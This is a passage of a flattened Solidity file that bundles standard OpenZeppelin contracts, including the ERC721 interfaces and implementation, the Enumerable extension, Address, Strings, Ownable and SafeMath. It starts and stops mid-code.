returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File openzeppelin-solidity/contracts/token/ERC721/[email protected] pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File openzeppelin-solidity/contracts/token/ERC721/extensions/[email protected] pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File openzeppelin-solidity/contracts/utils/[email protected] pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File openzeppelin-solidity/contracts/utils/[email protected] pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File openzeppelin-solidity/contracts/utils/[email protected] pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File openzeppelin-solidity/contracts/utils/introspection/[email protected] pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File openzeppelin-solidity/contracts/token/ERC721/[email protected] pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File openzeppelin-solidity/contracts/token/ERC721/extensions/[email protected] pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File openzeppelin-solidity/contracts/token/ERC721/extensions/[email protected] pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File openzeppelin-solidity/contracts/access/[email protected] pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File openzeppelin-solidity/contracts/utils/math/[email protected] pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string 